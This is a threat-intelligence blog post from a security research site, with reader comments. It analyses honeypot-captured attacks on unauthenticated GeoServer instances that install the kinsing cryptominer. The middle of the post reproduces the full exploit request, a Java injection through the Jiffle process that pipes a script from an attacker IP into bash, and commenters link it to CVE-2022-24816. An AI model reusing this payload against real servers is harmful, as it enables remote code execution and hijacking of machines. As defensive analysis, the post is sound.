My next class:

Geoserver Attack Details: More Cryptominers against Unconfigured WebApps

Published: 2023-06-12. Last Updated: 2023-06-12 12:46:13 UTC
by Johannes Ullrich (Version: 1)
4 comment(s)

code snippet from exploit request showing code that downloads ge.sh via curl.Last week, I noted increased scans against "GeoServer" [1]. GeoServer is an open-source Java application with a simple web-based interface to share geospatial data like maps [2]. 

graph showing an increase in scans against geoserver

I followed our usual playbook of redirecting these scans to an instance of GeoServer. Geoserver had a few vulnerabilities in the past. I installed an older version of GeoServer to verify if the vulnerability was exploited.  However, it looks like a vulnerability wasn't necessary. Instead, similar to what we have seen with NiFi recently, the attacker is just using a built-in code execution feature, and the default install, as deployed by me, did not require credentials.

GeoServer was installed in a docker container, which prevented any actual execution of the attack code. The container did not provide tools like curl to download additional payload. Instead, I downloaded the payloads later manually.

Soon after I configured the honeypot, several exploit requests arrived from 109.237.96.251. These requests took advantage of the Web Processing Server (WPS). I highlighted some of the relevant features in the request below:

POST /geoserver/wms HTTP/1.1
Host: [honeypot ip address]:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Length: 2261
Content-Type: application/xml
Accept-Encoding: gzip

 

<?xml version="1.0" encoding="UTF-8"?>
<wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
<ows:Identifier>ras:Jiffle</ows:Identifier>
<wps:DataInputs>
<wps:Input>
<ows:Identifier>coverage</ows:Identifier>
<wps:Data>
<wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999 316]]></wps:ComplexData>
</wps:Data>
</wps:Input>
<wps:Input>
<ows:Identifier>script</ows:Identifier>
<wps:Data>
<wps:LiteralData>dest = y() - (500); // */ public class Double { public static double NaN = 0; static { try { java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","(curl -s 45.138.157.202/ge.sh||wget -q -O- 45.138.157.202/ge.sh)|bash"}).getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
</wps:Data>
</wps:Input>
<wps:Input>
<ows:Identifier>outputType</ows:Identifier>
<wps:Data>
<wps:LiteralData>DOUBLE</wps:LiteralData>
</wps:Data>
</wps:Input>
</wps:DataInputs>
<wps:ResponseForm>
<wps:RawDataOutput mimeType="image/tiff">
<ows:Identifier>result</ows:Identifier>
</wps:RawDataOutput>
</wps:ResponseForm>
</wps:Execute>

The request uses the "Execute" operation, which can be used to "perform the process with specified input values and required output data items" [3]. The "bash" request is pretty simple; it uses curl to retrieve and execute additional code. 

Due to the restrictions of the docker install of GeoServer, the execution failed, and the following response was returned:

<?xml version="1.0" encoding="UTF-8"?>
<wps:ExecuteResponse xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:xlink="http://www.w3.org/1999/xlink" xml:lang="en" service="WPS" serviceInstance="http://[honeypot ip address]:8080/geoserver/ows?" version="1.0.0">
<wps:Process wps:processVersion="1.0.0">
<ows:Identifier>ras:Jiffle</ows:Identifier>
<ows:Title>Jiffle map algebra</ows:Title>
<ows:Abstract>Map algebra powered by Jiffle</ows:Abstract></wps:Process>
<wps:Status creationTime="2023-06-09T04:18:57.977Z"><wps:ProcessFailed><ows:ExceptionReport version="1.1.0"><ows:Exception exceptionCode="NoApplicableCode"><ows:ExceptionText>

Process failed during execution
java.lang.ExceptionInInitializerError - found curl/etc/kinsingwget is curl -not found /dev/etc/kinsing not exists/etc/kinsing after download exists and checked/etc/libsystem.so not exists/etc/libsystem.so after download not exists/etc/libsystem.so after download2 not exists
Running as root
</ows:ExceptionText></ows:Exception></ows:ExceptionReport></wps:ProcessFailed></wps:Status></wps:ExecuteResponse>

Looking at "ge.sh" reveals a script almost identical to the "ni.sh" script I wrote about concerning the attacks against NiFi. Both scripts use the same host (185.122.204.197) to retrieve the ni.sh or the ge.sh script. Taking a look at other scans from related IPs, it looks like they are also attempting to exploit a Confluence/Nashorn issue [4].

The goal for all of these attacks appears to be to install the "kinsing" crypto miner.

[1] https://isc.sans.edu/diary/Ongoing%20scans%20for%20Geoserver/29926
[2] https://geoserver.org/
[3] https://docs.geoserver.org/stable/en/user/services/wps/operations.html#execute
[4] https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Keywords:
4 comment(s)
My next class:

Comments

Thanks for sharing. FWIW: Shadowserver startet GeoServer scans end of February
https://twitter.com/Shadowserver/status/1630514410304282624
You don't say which version of GeoServer you are using - this was first discovered last year https://geoserver.org/vulnerability/2022/04/11/geoserver-2-jiffle-jndi-rce.html and should be mitigated in recent versions (https://osgeo-org.atlassian.net/browse/GEOS-10445).

If this is a new vulnerability then it would have been helpful if you had followed the disclosure policy for the project. https://github.com/geoserver/geoserver/blob/main/SECURITY.md
As Ian said this looks to just be cve-2022-24816 and is even using the same payload. Googling any of this should have led to the same conclusion.

https://www.synacktiv.com/en/publications/exploiting-cve-2022-24816-a-code-injection-in-the-jt-jiffle-extension-of-geoserver
This blog post was turned into an incomplete CVE-2023-35042 with no version / mitigation / patch information.

Attempting to correct via MITRE process resulted in an harmful update “unable to reproduce this in any version” where the intent was to indicate the issue is patched in all supported versions.

For a useful correction seen https://github.com/advisories/GHSA-59x6-g4jr-4hxc

Diary Archives